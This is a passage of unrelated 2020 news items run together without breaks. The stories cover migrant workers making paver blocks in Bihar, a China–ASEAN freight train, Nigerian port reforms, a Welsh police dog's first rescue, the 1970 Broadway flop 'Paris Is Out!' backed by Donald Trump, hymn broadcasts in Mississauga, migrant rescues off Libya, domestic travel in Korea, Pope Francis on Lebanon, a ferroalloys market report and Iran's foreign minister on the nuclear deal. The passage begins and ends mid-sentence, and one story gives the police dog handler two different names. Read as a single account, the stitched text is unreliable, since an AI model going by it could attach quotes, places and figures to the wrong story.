pavers-block manufacturing from Rawalpore in Srinagar, said: When I returned along with 12 others returned here, we decided not to wait for employment from others. We contributed with whatever money we had saved working in Srinagar and started manufacturing the pavers-blocks besides other things of household and public usages like flower pots and cemented benches and chairs." Rahul Kumar, another migrant and colleague of Suraj Kumar, said that initially some difficulty were faced but now everything has started getting arranged for running the pavers-clock manufacturing unit. "We are arranging stone dust, sand colour, hardeners and cement and other materials for making benches, pots and pavers blocks, foot-walkers, chairs and other things," Kumar said. They wholeheartedly thanked district magistrate of West Champaran Kundan Kumar for helping them in getting loans from a bank. Now, we have also started manufacturing bricks in addition other cemented items," Suraj Kumar said, adding that 32 migrant labourers are engaged in it. So far, more than 90000 pieces of cemented items including pavers-blocks have been manufactured and 60000 have so far been sold. The 1000 pavers-blocks are sold at Rs 14000 to Rs 15000 while one piece of cemented bench with sitting capacity of 4 persons is sold at Rs 8000. Our products like cemented park-benches, chairs, foot-walkers pathway sheets, flower pots and other things have gone much in demand among the people of city and panchayats," Suraj said. Rahul Kumar and Sonu Kumar-other migrant-labourers, also said that orders from Panchayats and district administration for more than 6000 pavers-blocks were recovered and supplied. We will take it to the larger scale with the help of other migrants, who have joined us and decided not go back to other states," Suraj Kumar said. The first international freight train from the Yangtze River Delta region to ASEAN gets ready for its departure from Haian, Jiangsu province, to Vietnam in May this year. [Photo by Xu Congjun/For China Daily] With the Association of Southeast Asian Nations increasingly becoming China's key trading partner and construction of the China-Laos railway seeing notable progress this year, experts predicted that more freight train services will be operated between China and Southeast Asian economies over the next decade. They made the remarks after Nantong, Jiangsu province, launched the first international freight train traveling from the Yangtze River Delta region to ASEAN carrying more than 70 containers of industrial goods, garments and photovoltaic products manufactured by companies in East China to Hanoi, Vietnam, in late May. It took about 120 hours for the train to complete the 2,300-kilometer long journey. After arriving at Hanoi, the train returned to China carrying Vietnamese goods, including agricultural and electronic products. The service has brought considerable benefits to customers in the region as it has cut the transport period from 10 days by sea to about five days. After this trial operation, the cargo train's operatorChina Railway Shanghai Group Coplans to run the trains between four and six times a month to better connect the Yangtze River Delta region and ASEAN markets in the second half. COVID-19 has not only boosted the vitality of the China-Europe freight train service, but also stimulated both trade and railroad transportation volume between China and ASEAN so far this year, said Chen Yumou, deputy head of Nanjing branch of China Railway Shanghai Group Co. Because the cost of transporting rail freight is nearly half that of overland road transport and as market demand remains robust on both sides, cargo trains between China and ASEAN membersin particular Vietnam, Laos and Thailandwill gain momentum this year, said Xu Liping, a researcher at the Chinese Academy of Social Sciences in Beijing. With the China-Thailand railway project progressing smoothly, Thailand will enjoy more economic benefits once the high-speed railway connects the country's capital Bangkok with China and other countries in the future, said Zhang Yongjun, a researcher at the Beijing-based China Center for International Economic Exchanges. It will help attract more foreign tourists and help narrow the regional economic disparity of Thailand, Zhang said. According to the project plan released by China State Railway Group Co Ltdthe country's railway operatorthe China-Thailand railway will eventually connect with the China-Laos railway. It will make the railroad network more accessible between China and ASEAN. Backed by price advantages, reliable product quality and efficient service, China's train manufacturers and railway project contractors have enhanced their presence in overseas markets after the country completed construction of a high-speed railway in Turkey in 2014, said Sun Zhang, a professor at the Transportation Research Institute of Shanghai-based Tongji University. The China-Laos Railway, the China-Thailand Railway and a high-speed line linking Jakarta and Bandung in Indonesia, have all adopted Chinese rail standards and technologies, he said, adding that the projects will spur economic growth along the rail routes. Laos-China Railway Co Ltd, a joint venture based in the Laotian capital of Vientiane, handles the construction and operation of the railway, and the company announced last month that supportive construction of two cross-Mekong River bridges has been completed. The China-Laos Railway crosses the Mekong River twice to the north of Luang Prabang, about 230 km north of Vientiane. "The China-Laos Railway is a strategic project part of both the Belt and Road Initiative and Laos' national strategy to transform from a landlocked country to a land-linked hub," said Xu Ningning, executive president of the China-ASEAN Business Council. The over 400-km railway, with 198 km of tunnels and 62 km of bridges, will run from the Boten border crossing in northern Laos, bordering China, to Vientiane with an average operating speed of 160 km per hour. In addition to operating direct freight trains to ASEAN economies bordering China, Chinese inland cities such as Chongqing launched nonscheduled cargo trains to better serve transportation needs along the land-sea trade corridor in 2019. The train stops at Qinzhou port, Guangxi Zhuang autonomous region. Cargo such as auto parts and machinery equipment manufactured in Chengdu and Chongqing are then shipped to Ho Chi Minh City and Haiphong in Vietnam, and Jakarta, Indonesia, by sea routes. Heads of maritime agencies in Nigeria have agreed to work on modalities for a quick commencement of 24 hours operation at the ports. The Director-General of the Nigerian Maritime Administration and Safety Agency (NIMASA), Bashir Jamoh, disclosed this on Tuesday in Lagos while briefing the media after the second edition of the monthly meeting of heads of maritime parastatals, held at the NIMASA headquarters. According to a statement signed by the agencys spokesperson, Philip Kyanet, issues bordering on maritime safety and security, port efficiency, intermodal transportation, as well as synergy among agencies in the sector were discussed. Mr Jamoh said the forum of CEOs of the agencies had given the maritime industry a platform to grow and contribute more to Nigerias economic development. This meeting is the second in the series and it has started yielding positive fruits. For instance, the issue of berthing the NIMASA floating dock, which has lingered for a couple of years, has been resolved through this meeting, and very soon it would be deployed for use. He also said that the heads of agencies agreed to play their respective roles to facilitate the operation of 24 hours a day, seven days a week port services. This, he said, would help to decongest the ports and tremendously impact on the Ease of Doing Business initiative of the federal government. Mr Jamoh said the meeting constituted a committee to produce a workplan for the 24-hour port system and agreed to carry communities around the port environments along in order to ensure safe operations within the port vicinities and beyond. We are looking at the workability of 24-hour port services to ease the pressure on our ports in terms of congestion. We also agreed to work with the Nigerian Railway Corporation (NRC) on how the movement of cargoes from the ports can be done by rail to reduce the pressure on our roads. Our focus is also to ensure containers are moved by barges to dry ports outside the port environments. All these would help in the efficiency and effectiveness of our ports, he said. Intermodal transport system In her remark, the Managing Director of Nigerian Ports Authority (NPA), Hadiza Usman, emphasized the need for an intermodal transport system in and around the port environments. READ ALSO: She said Nigeria must prioritize intermodal transportation to reap the benefits of shipping and port activities. She disclosed that the heads of maritime agencies agreed to work with the Nigerian Railway Corporation (NRC) to facilitate the movement of cargo from the ports by rail. Also, the Managing Director of National Inland Waterways Authority (NIWA), George Moghalu, said safety formed a major part of the discussion. He said all the maritime agencies had agreed to work together to rid the Nigerian waters of unsafe craft and practices that endanger passengers and other users of the waterways. Executive Secretary, Nigerian Shippers Council, Hassan Bello, said the new synergy among the heads of maritime agencies was a significant building block for efficient economic activities within the countrys maritime domain. He said the ultimate aim was to make Nigeria a maritime hub in Africa through efficient and effective maritime operations and infrastructure. The monthly meeting, which was the second in the series, was also attended by the Registrar, Council for the Regulation of Freight Forwarders in Nigeria (CRFFN), Sam Nwakohu; and Rector, Maritime Academy of Nigeria (MAN), Oron, Duja Effedua, who joined via zoom. Photo: (Photo : Photo from Dyfef-Powys Police website) A mom and her baby spent the night outdoors earlier this August. They got lost, and concerned citizens reported the incident to the Dyfed-Powys Police. Luckily, PC Peter Floyd and Police dog Max found the mom and baby. This story becomes even more exciting as the police dog, Max, is newly licensed, and finding the mom and baby was his first task. READ ALSO: Kids' lemonade stands get support from police and other groups The search for the mom and baby According to Inspector Jonathan Rees-Jones of the Wales police, there was a deep concern for the mom and baby's whereabouts. It was because the mother had not been seen by the people who know her for two days. In addition to that, the phone of the mother was unreachable. Several teams were dispatched for the search. The mom's vehicle was immediately found, but the search area was still quite large. Aside from the first teams that were dispatched, help from the Brecon Mountain Rescue Team and an NPAS helicopter was utilized. Inspector Rees-Jones said, "Extensive searches of the area were undertaken by officers, supported by specialist assets such as the dog unit and the NPAs helicopter, with advice from a police search adviser." READ ALSO: Police Offer $5,000 Reward for Information on the Death of a Pregnant Woman in Columbia The police dog and handler find the mom and baby. After more than an hour, the mom and baby were found near a steep ravine close to the mountainside. According to authorities, "They were safe, but cold, and appeared to have been in the area for a significant amount of time." The Police Dog Max guided his handler PC Lloyd when they found the mom and the baby near the ravine. They were waving for help to the officer and Max when they were seen in the area. Immediately, the rescue teams checked on the condition of the mom and baby. Officials say that a big chunk of the success in finding the two should be credited to Police Dog Max and PC Lloyd because they searched a significant area that led to finding the mom and the baby. READ ALSO: 9-Year-Old Florida Boy Rescued Dad Who Injured Himself After a Dive The police dog and handler's first day Even if it was the first operational shift of the duo, they already put their training into action. Max is a two-year-old German Shepherd. As a police dog, his purpose is to locate and track people, discarded property, and detaining suspects. He is trained to find even in buildings and open air. PC Lloyd, on the other hand, joined the dog section of the Dyfed-Powys Police in February. Lloyd said that he is very pleased with their accomplishment on their first deployment. He credited the success to Max, saying, "Max remained focussed throughout the long search, and he proved invaluable when he reacted to the call for help, which resulted in us locating them." READ ALSO: Pregnant woman shot to death while pushing 1-year-old daughter in a stroller Five Flops in Five Days We don't have theater to look forward to, so this week we're looking back at notable bombs. Yesterday we revisited the musical "It's a Bird It's a Plane It's Superman." Sam Levene and Molly Picon in Paris Is Out! Photo-Illustration: Vulture and Friedman-Abeles The New York Public Library for the Performing Arts Paris Is Out!, a slight Broadway comedy starring Molly Picon and Sam Levene, opened at the Brooks Atkinson Theatre on February 4, 1970. But opened is not quite the right term: The plays producer, David Black, had hit on a novel idea, one that gave the playwright, Richard Seff, some misgivings: There would be no traditional opening night. Instead, the play would run for two weeks of previews, starting on January 16, after which critics, should they choose, could attend the show gratis. This is an audience play, Black told Seff at the time. I dont trust the critics. I dont want them to see it till the audience tells them they love it. As Seff, now 92, told me, it was a concept which I should never have permitted. But I did, I did. This was the kind of concession a reluctant playwright made for a chance to debut on Broadway. It was the first play credited to Richard Seff, but Paris Is Out! wasnt Seffs first play. That was The Whole Ninth Floor, produced under the pseudonym David Phillips, and it closed out of town. The experience had given Seff, then working as a talent agent for MCA, the confidence to try again, this time without the fake name. He took inspiration from Neil Simon My great idol, even though he was younger than I and in particular Simons 1961 Broadway debut, Come Blow Your Horn, a family comedy that echoed long-ago hits like You Cant Take It With You and My Sister Eileen. Simons play had the kind of reviews I later had promising, three or four of them excellent, some very mixed, said Seff. It was not a genuine smash, and there were no big names, but people liked it. It made just enough money to pay the bills and have a small profit, and though it wasnt a major play, it encouraged him to write another one immediately. But he wasnt working for Lew Wasserman as an agent! For his first time out under his own name, Seff like Simon mined his family for source material. I wrote a play about my mother and father, who had been amusingly and contentedly bickering for 35, 40 years, and they were still wondering if this will work. The plays conflict, typical of a domestic comedy of that era, is on the gentle side. Hortense and Daniel (stand-ins for Seffs own parents) bicker about vacation plans. Hortense dreams of Europe. Daniel wont go to Venice (the canals might overflow), and Paris is, as the title says, definitely out. Their son and daughter have problems of their own. Charlotte is recently widowed with a teenage son. Their son, Roger, is ending marriage No. 2, adamant that he wont be charmed into wedlock a third time. His parents, however, have someone in mind: a travel agent, Arlene, who fears a life without marriage. High jinks and hilarity are supposed to ensue. (One example: When Arlene says, I mean Roger, Moby-Dick was not even a person. He was a whale.) But Seffs play, originally called Will It Last?, was good enough to attract the interest of David Black, who had produced the Broadway hit George M! a year earlier, in 1968. Seff is Jewish, but, he said, my play was not about being Jewish, but about being a family. He envisioned someone like Mildred Natwick a long-established Broadway star whod played the mother in Neil Simons Barefoot in the Park as the matriarch. Natwick wasnt available, but Molly Picon was, and she was a clear theatrical name. Casting the Yiddish-theater star, who once had a namesake playhouse on Second Avenue and by the 1960s was well known from English-language TV and movies, gave the play a slightly more urban, more Semitic feeling than I had intended, Seff said. Picon, though, would also draw crowds, beginning at Playhouse at the Mall in Paramus, New Jersey, where Will It Last? had a two-week stint, from October 14 to 26 in 1969. (It took the place of the just-closed production of Three Men on a Horse, starring Sam Levene (the original Nathan Detroit in Guys and Dolls.) The Paramus theater was run at the time by Robert Ludlum, years before The Bourne Identity made him famous. Black believed Will It Last? had the makings of a Broadway success that could lead to greater things for Seff. After all, Come Blow Your Horn had led to the far more successful Barefoot in the Park. Changes, however, were necessary before the transfer at the beginning of 1970. It needed a new title because it was a hanging curveball, one that would allow critics to knock out a headline like the Paterson Evening News Will It Last? Its Anyones Guess. (Most of the early reviews were mixed, with another local newspaper judging: Its not a bad play, but in its present form its just not a very good one, either.) The new name was Paris Is Out! Then there was the matter of the cast. Jack Somack, who played Daniel in Paramus, wasnt star enough to match Picons wattage, and Sam Levene was suddenly available for the role when Three Men on a Horse didnt transfer. Black also decided that Roger and Arlene needed to be recast. Terry Kiser later known as the corpse in Weekend at Bernies and Zina Jasper had the theatrical chops that Black and his director, Paul Aaron, wanted. (The three original actors, including Somack, werent dismissed entirely, continuing to work as understudies for the Broadway production.) Black also needed cash to mount Paris Is Out! to the tune of $140,000. Which is how a 23-year-old, just out of Wharton Business School and looking to do something besides working in his fathers business, ended up walking into Blacks office above the Palace Theater in the fall of 1969. Donald J. Trump hadnt been announced. He showed up in a single-minded pursuit, hoping to take Black to lunch. They went to the Metropolitan Club. Trump had heard about Paris Is Out! and, apparently, got hold of a copy of the script. As Black recalled to the New York Times in 2016, Trump peppered him with questions about the ins and outs of the theater business, asking how Black had discovered Seffs play and how long it would need to run on Broadway before it broke even. He had done his homework, and that was unusual, Black said. Most of the people who put up money for shows just wanted to meet girls and go to parties, but he wasnt like that. By the end of the lunch, Trump made his offer, one that sounds characteristic of him: Hed pay half the cost of putting up Paris Is Out! so long as he got equal billing on the posters and in Playbill. Black remembered Trumps investment as 70 grand; Seff thinks it was lower, closer to $50,000. Somewhat less characteristically, Trump kept well away from the creative side of the production. He didnt interact with the cast or crew; Seff remembered Trump driving up to the Brooks Atkinson Theatre in his convertible on two occasions, then standing in the back of the house with Seff to watch rehearsals. Seff and Trump exchanged hellos and not much else. Operations were a different matter: He wanted to know why we had to pay two men to pull the curtain up and down when they played pinochle the rest of the day, Black told the Times. (Union rules, of course.) And at one point he came in and said, Our poster is behind one of the other posters. (Black, through his assistant, declined a request to comment for this story.) Trump, however, had little say in Blacks decision to forgo a proper opening night. Dictating to critics when they might be permitted to see a Broadway play portended disaster. Blacks decision helped to seal the plays fate. The non-opening at the Brooks Atkinson was on February 4, 1970. The Associated Press theater man, William Glover, bought a ticket $8.50, or just over $56 in 2020 dollars to an early preview of Paris Is Out! His verdict was not good: a lopsided little ethnic caper and Surprise and drama are conspicuously absent, lord knows, and the wit never rises beyond the peak of paternal Levene advice that girls should get married, and boys, no. So? Well, he has those eyebrows and that shrug. An ad for the show that appeared in the Daily News. Glovers criticism paled next to the judgment of the New York Times Clive Barnes. He called the play as harmless as it is pointless, its scenarios pitiable, the acting forgettable. Half a century later, Seff could still quote it to me, and huffed that [Barnes] was a plump English gentleman who had been a critic for about 15 minutes he came from British ballet, with no idea what an American family looked like. (Barnes, later the longtime dance and drama critic at the New York Post, had by then been the Times theater critic for three years; his physique at the time was slim.) There were a few good reviews. Marilyn Stasio, then with Cue magazine, wrote: The delightful pair, Picon & Levene, have enough comic know-how to keep a matinee audience in happy convulsions. The Wall Street Journal compared the play, approvingly, to the long-ago sitcom The Goldbergs. But most ranged from tepid to savage. Hobe Morrison, critic for the White Plains Journal-News, cracked, To paraphrase George S. Kaufman, Paris Is Out! is the sort of play whose situations and dialogue you whistle as you enter the theater. The Central Jersey Home News was cruel in its kindness: There are all sorts of reasons to go to the theater. Some people go to escape. Paris Is Out! is for people who go to the theater to meet themselves. The show was not a closed-in-one-night disaster. Seff preferred to characterize the play, generously, as a nervous hit. But within days, the newspapers ran announcements of Molly Picons forthcoming appearance in another play slated for a tryout in Paramus in mid-May. What finished off Paris Is Out! after 112 performances, in the playwrights telling, was a blizzard on Easter Sunday 1970 that tamped down theatergoing for a week. The producers, including Trump, lost their whole investment. The surprise storm also ended the Broadway run of two other plays, including one by the syndicated columnist Art Buchwald. Seffs play didnt disappear for good. Molly Picon appeared in a production mounted in Philadelphia the following summer, and Pat OBrien and his wife, Eloise, toured with it in 15 cities over the next year and a half. Seff attended a dinner-theater production in Pennsylvania just two years ago. When I saw the set, I thought it was better than the one we had on Broadway. As for Trump, he learned that the play would close from Black at a coffee shop off Eighth Avenue. When I told him I had to close it, he said, David, what should I do now? Black recalled in 2016. I said, Why dont you try real estate? Seff, meanwhile, muses that the butterfly effect emanating from the failure of Paris Is Out! may have changed the world. If my play had been a big hit, I guess he wouldnt be president. A city in Canada has made history by permitting local temples to broadcast sacred Hindu hymns during an auspicious period as regular worship remains impacted by restrictions due to the COVID-19 pandemic. Regular rules relating to noise bylaws disallow places of worship from using loudspeakers. However, the city of Mississaugas council voted unanimously to relax those norms and let temples broadcast hymns like the Hanuman Chalisa or Gayatri Mantra. Mississauga lies in the Great Toronto Area and is in the province of Ontario. The city council had earlier not taken a decision on the matter and referred it to the Diversity and Inclusion Advisory Committee or DIAC, which thereafter voted in support of temporarily easing the noise bylaws. The matter returned to the city council abided by the DIACs decision, with all members voting in favour of the motion. Among its supporters was city Mayor Bonnie Crombie. This matter had been moved by the Hindu Forum Canada which sought permission for temples to broadcast from August 11 to September 1, for five minutes each evening at 7 pm. It had argued that this period was particularly significant for Hindus as it included Krishna Janmashthami, Onam and Ganesh Chaturthi. Among the original proponents of the measures was Indo-Canadian councillor Dipika Damerla, a former provincial Minister, who described it as a small ask. After the motions passage, she said she was very happy that this accommodation had been put in place for the religious group. Proponents have argued that the restrictions due to the coronavirus crisis have affected the faithful especially seniors. In fact, in April this year, many municipalities in Canada, including Mississauga, made an exception for the month of Ramzan, as restrictions similarly impacted Muslims in the country. With a precedent in place, an apex Indo-Canadian organisation has called upon cities to give similar permission to mandirs in the province of Ontario and beyond. The Canada India Foundation or CIF argued that to be able to listen to the holy hymns and participate while being restricted to individual homes, is expected to act as a morale booster to the community. Its chair Anil Shah underscored this argument, as he said, We are in full agreement with the request to the various municipalities for accommodation regarding these religious events. This would be a great gesture that would strengthen our multicultural fabric even more. SHARE THIS ARTICLE ON Southern Pines, NC (28387) Today Partly cloudy. High 58F. Winds SSW at 10 to 15 mph.. Tonight Partly cloudy this evening with more clouds for overnight. Low 39F. Winds SSW at 5 to 10 mph. Source: Xinhua| 2020-08-11 09:57:11|Editor: huaxia Video Player Close TRIPOLI, Aug. 11 (Xinhua) -- The International Organization for Migration (IOM) on Monday said that 160 illegal immigrants have been rescued off the Libyan coast recently. "IOM staff are at the disembarkation point in Tripoli to provide emergency assistance to 85 migrants returned by the coast guard. Last night, some 75 migrants were also returned to Zwara, Libya," IOM tweeted. "We maintain that Libya is not a safe port," IOM said. According to the organization, nearly 7,000 illegal immigrants, including women and children, have been rescued and returned to Libya so far in 2020. IOM also reported that 123 immigrants died and 180 went missing on the Central Mediterranean route so far this year. Because of the insecurity and chaos Libya has been suffering since the fall of its leader Muammar Gaddafi in 2011, the North African country has become a preferred point of departure for thousands of illegal immigrants who want to cross the Mediterranean Sea toward Europe. Immigrant shelters in Libya are overcrowded with migrants despite repeated international calls to close them. Enditem Foreign tourists visit Cafe Sann in Danyang on Oct. 7, 2018. / Korea Times photo by Emma Juno Sparkes By Kyung Lee Thailand, Vietnam, Taiwan, Japan and the Philippines are just a few of the popular vacation destinations visited by Korea's foreign residents every year. But with the pandemic and related travel restrictions having grounded summer plans abroad, some people have already embraced exploring Korea destinations both near and far from Seoul. Amy Benham had planned this year to return to New Zealand, her home country, as well as travel to a couple of Southeast Asian spots for diving. With both plans shelved until the end of global lockdown restrictions, Benham, a Seoul resident, said living the city life makes one appreciate what attractions the country's other regions offer, especially considering factors like food, outdoor activities and different regions. "There are so many hidden gems in various parts of Korea outside of the cities, I really encourage people to go out [of Seoul] and travel," she said. "I feel like once you go out of Seoul to areas which are considered more rural, the vibe is generally a lot more relaxed and peaceful." As a recourse to the overseas lockdowns, Benham added she went on an east coast road trip that included Uljin, Pohang and Yangyang, among other areas, for their beaches and seafood. "I'm not even a huge fan of seafood but it was great," she said. "Very fresh." Amy Benham visits Yangyang Surfyy Beach in Gangwon Province, July 18. / Courtesy of Amy Benham According to another foreign resident interviewed by The Korea Times, traveling in the summer has become a fixed routine which cannot change in purpose and location. But with annual plans to visit family and friends in either Oregon or Japan also scrapped in the meantime, Chris Hascall, who has lived in Korea for three years, said he opted for domestic destinations to fill his month-long break from work. Jeju Island was the first destination that came to mind for Hascall and his girlfriend for scuba diving and sightseeing but because of unfavorable weather conditions, they reset the course for Jeonju, North Jeolla Province. Like Benham, Hascall used food to influence his selection, as well as the city's beautiful sights and scenes. "I enjoyed Jeonju for its variety of traditional and street foods, as well as makgeolli and craft beer from a brewery that I found online," he said, adding that Jeonju also has plenty of beautiful historical sites and parks worth visiting. Chris Hascall visits Lotte World Tower's Sky Bridge on Feb. 14. / Courtesy of Jungha Kim During the Angelus, Pope Francis praises Lebanon as a " model of living together". With solidarity and compassion, Lebanons bishops, priests and religious should lead a life marked by evangelical poverty, without luxury, because your people are suffering, suffering a lot. Remembering the bombs dropped on Hiroshima and Nagasaki, the pontiff calls for a world completely free from nuclear weapons. Amid the storm, keep your heart turned to God, to his love, to his Fatherly tenderness. Indeed, The boat at the mercy of the storm is the image of the Church, and sometimes she may have the temptation to think that God has abandoned her. AsiaNews continues its campaign to Help devastated Beirut. Vatican City (AsiaNews) Pope Francis called on the bishops, priests and religious of Lebanon to be close to the people" in the moment of difficulty their beloved country is currently going through. Right after the Angelus prayer with the pilgrims gathered in St Peter's Square, the Pope mentioned 6 and 9 August 1945, the days when the atomic bombs were dropped on Hiroshima and Nagasaki, urging the faithful to pray for a world completely free of nuclear weapons. The pontiff also noted that in the past few days, his thoughts often turn to Lebanon, to Last Tuesdays catastrophe, which beckons everyone, beginning with the Lebanese people, to work together for the common good of this beloved country. The Mideast country, he added, has a particular identity, fruit of the encounter of different cultures, that has emerged over the course of time as a model of living together. Certainly, this coexistence is now very fragile, we know this, but I am praying that, with Gods help and everyones genuine participation, it may be reborn free and strong. At the same time the Holy Father invited the Church in Lebanon to be close to the people on their Calvary, as she has been doing in these days, with solidarity and compassion, with heart and hands open to sharing. Hence, I ask the bishops, priests and religious of Lebanon to be close to the people and to live a style of life marked by evangelical poverty, without luxury, because your people are suffering, suffering a lot. Finally, as he did in last Wednesday's audience, the Pope urged the international community to provide "generous aid". Before this, Francis commented on today's Gospel (Matthew 14:22-33, 19th Sunday in Ordinary Time, Year A), which is centred on Jesus walking on the lake waters to save Peter who is about to sink. This narrative is a call to abandon ourselves trustingly to God in every moment of our life, especially in moments of trial and turmoil. When we have strong feelings of doubt and fear and we seem to be sinking, we must not be ashamed to cry out, like Peter: Lord, save me (v. 30). Having faith means, amid the storm, keeping your heart turned to God, to his love, to his Fatherly tenderness. Jesus wanted to teach this to Peter and the disciples, and also to us today. He is well aware that our faith is lacking and that our journey can be troubled, hindered by adverse forces. But he is the Risen One, the Lord who went through death in order to lead us to safety. Even before we begin to seek him, he is present beside us. And in lifting us back up after our falls, he helps us grow in faith. The boat at the mercy of the storm is the image of the Church, which in every age encounters contrary winds, at times very harsh trials: let us think of certain long and persistent persecutions of the last century. In those situations, she may have the temptation to think that God has abandoned her. But in reality, it is precisely in those moments that the witness of faith, love and hope shines the most. It is the presence of the Risen Christ in his Church that gives the grace of witness unto martyrdom, from which sprout new Christians and fruits of reconciliation and peace for the entire world. May the intercession of Mary Most Holy help us to persevere in faith and fraternal love when the darkness and storms of life set our trust in God into crisis. In order to help the people of Beirut and Lebanon, as well as Caritas Lebanon, AsiaNews is launching a campaign to Help devastated Beirut. Those who want to contribute can make a donation to: PIME Foundation: - International Bank Account Number (IBAN): IT78C0306909606100000169898 - Bank Identifier Code (BIC): BCITITMM - Reason for transfer: AN04 HELP DEVASTATED BEIRUT SAN FRANCISCO, Aug. 11, 2020 /PRNewswire/ -- The global ferroalloys market size is projected to reach USD 69.0 billion by 2027, according to a new report by Grand View Research, Inc., expanding at a CAGR of 5.5% over the forecast period. The increasing production of steel in the Asia Pacific, on account of rising construction activities in the region, is a significant factor influencing the global market growth. Ferromanganese, ferro silicomanganese, ferrochrome, and ferrosilicon are the principal ferroalloys that are commonly used in the industry as principal inputs for steel manufacturing. Key suggestions from the report: Asia Pacific led the market in 2019 accounting for the largest revenue share of 60.3% as the region is the world's largest producer of steel Cast iron application segment is expected to record the fastest CAGR of 4.2%, in terms of volume, from 2020 to 2027 owing to the rapidly expanding manufacturing sector in the Asia Pacific and Middle East & Africa Carbon & low alloy steel led the market with a volume share of 47.8% in 2019 owing to significant consumption of ferro silicomanganese for carbon steel manufacturing in APAC Ferrochrome is predicted to witness significant growth from 2020 to 2027 as the stainless steel industry is poised to witness considerable growth Read 104 page research report with ToC on "Ferroalloys Market Size, Share & Trends Analysis Report By Product (FeCr, FeSiMn), By Application (Carbon & Low Alloy Steel, Cast Iron) By Region, (Asia Pacific, Europe, North America), And Segment Forecasts, 2020 - 2027" at: https://www.grandviewresearch.com/industry-analysis/ferroalloys-market Among these products, ferro silicomanganese is expected to register the fastest growth over the coming years owing to its extensive consumption as a desulfurizing and deoxidizing agent in carbon steel manufacturing. Ferrochrome is added to Stainless Steel (SS) to impart corrosion resistant properties and give the aesthetic appearance. Therefore, the product is expected to register a healthy growth, in terms of volume demand, as the SS industry is likely to register a strong growth from 2021 following the global pandemic in 2020. Asia Pacific dominated the global market in 2019. There is a huge market in China owing to significant steel production in the country. In fact, according to World Steel, China manufactured more than 50% of the global crude steel in 2019. As a result, China constituted more than 50% of the product demand, in terms of volume, in 2019 and is expected to maintain its dominant position over the coming years. On the other hand, ferroalloy demand is predicted to witness a sharp decline in 2020, especially in North America and Europe, as the manufacturing activities and industrial production were severely affected in the first half of 2020 owing to the COVID-19 outbreak. Asia Pacific is also expected to witness a considerable decline in its GDP owing to the pandemic. However, relatively quick recovery of industrial production in China is expected to soften the blow of the COVID-19 pandemic for ferroalloy suppliers in the Asia Pacific, as China is likely to display a positive manufacturing outlook in the second half of 2020. The major ferroalloys producing countries include China, India, South Africa, Kazakhstan, Ukraine, Norway, and Russia. These countries have abundant availability of chromite and manganese ores, which are the primary raw materials required for product manufacturing. Grand View Research has segmented the global ferroalloys market on the basis of product, application, and region: Ferroalloys Product Outlook (Volume, Kilotons; Revenue, USD Million, 2016 - 2027) Ferrochrome (FeCr) Ferromanganese Ferro Silicomanganese (FeSiMn) Ferrosilicon Ferroalloys Application Outlook (Volume, Kilotons; Revenue, USD Million, 2016 - 2027) Carbon & Low Alloy Steel Stainless Steel Alloy Steel Cast Iron Others Ferroalloys Regional Outlook (Volume, Kilotons; Revenue, USD Million, 2016 - 2027) North America U.S. Europe Germany U.K. France Asia Pacific China India Japan Central & South America Brazil Middle East & Africa List of Key Players of Ferroalloys Market Jindal Group Shanghai Shenjia Ferroalloys Co. Ltd Glencore Samancore Chrome Ferro Alloys Corporation Limited. Tata Steel Limited - Ferro Alloys & Minerals Division S.C. Feral S.R.L China Minmetals Arcelor Mittal SAIL Find more research reports on Advanced Interior Materials Industry, by Grand View Research: High Strength Aluminum Alloys Market Global high strength aluminum alloys market size was valued at USD 31.15 billion in 2019 and is anticipated to grow at a compound annual growth rate (CAGR) of 3.5% from 2020 to 2027. in 2019 and is anticipated to grow at a compound annual growth rate (CAGR) of 3.5% from 2020 to 2027. Magnesium Alloys Market Global magnesium alloys market size was valued at USD 3.12 billion in 2019 and is expected to grow at a compound annual growth rate (CAGR) of 9.9% from 2020 to 2027. in 2019 and is expected to grow at a compound annual growth rate (CAGR) of 9.9% from 2020 to 2027. Aluminum Alloys Market Global aluminum alloys market is estimated to be driven by increasing demand from transportation industry. Aluminum alloys are majorly utilized in the transportation industry owing to its properties such as corrosion resistance, lightweight, recyclability, high strength. Gain access to Grand View Compass, our BI enabled intuitive market research database of 10,000+ reports About Grand View Research Grand View Research, U.S.-based market research and consulting company, provides syndicated as well as customized research reports and consulting services. Registered in California and headquartered in San Francisco, the company comprises over 425 analysts and consultants, adding more than 1200 market research reports to its vast database each year. These reports offer in-depth analysis on 46 industries across 25 major countries worldwide. With the help of an interactive market intelligence platform, Grand View Research helps Fortune 500 companies and renowned academic institutes understand the global and regional business environment and gauge the opportunities that lie ahead. Contact: Sherry James Corporate Sales Specialist, USA Grand View Research, Inc. Phone: +1-415-349-0058 Toll Free: 1-888-202-9519 Email: [email protected] Web: https://www.grandviewresearch.com Follow Us: LinkedIn | Twitter SOURCE Grand View Research, Inc. JCPOA turned negative-sum game into benefit for all parties: Iran's FM Iran Press TV Monday, 10 August 2020 5:23 PM Iran's foreign minister says the conclusion of a nuclear deal with world powers in 2015 helped turn a negative-sum game among various players into something that benefited all of them. Mohammad Javad Zarif made the remarks in a speech delivered at the Faculty of World Studies at the University of Tehran on Monday, the third part of a five-part course in international relations entitled, "World in Transition," which is being offered by Iran's top diplomat. Explaining about the conclusion of the nuclear deal, officially known as the Joint Comprehensive Plan of Action (JCPOA), signed by Iran and six world powers, Zarif said, "At that time, we were on the verge of a negative-sum game...but we succeeded in turning that negative-sum game into something that benefited all parties." He added, "At the time, the United States claimed that it had stripped us of our nuclear capability, while we only pursued the peaceful use of nuclear energy from the very beginning." The historic deal was reached between Iran and the P5+1 which included the United States, Britain, France, Russia, China, and Germany on July 14, 2015. However, in May 2018, President Donald Trump unilaterally pulled the US out of the JCPOA and re-imposed the sanctions that had been lifted under the deal. As verified by the International Atomic Energy Agency (IAEA), Iran remained fully compliant with the JCPOA for an entire year, waiting for the co-signatories to honor their commitments and offset the impacts of the US withdrawal. But, as the European parties continued to renege on their obligations, the Islamic Republic moved in May 2019 to suspend some of its JCPOA commitments under articles of the deal covering Tehran's legal rights in case of non-compliance by the other side. Iran's Deputy Foreign Minister for Political Affairs Abbas Araqchi said late last month that the Islamic Republic will continue its peaceful nuclear program according to the terms of agreement with the IAEA since Tehran sees the peaceful use of nuclear energy as an inalienable right of the nation. "We will go on with our peaceful nuclear program according to the rules and regulations set and agreed upon with the IAEA," Araqchi wrote in an article for a Polish periodical. Elsewhere in his remarks, Zarif criticized efforts by some countries to turn military might into dominant power, saying, "Since the end of Cold War, the US has been trying to make things a matter of security in order to use its military superiority. Military might is important, but power is not unipolar anymore." The top Iranian diplomat added that the Islamic Republic enjoys different sources of power, including military might, but "military power is not considered a determining factor of a country's overall power 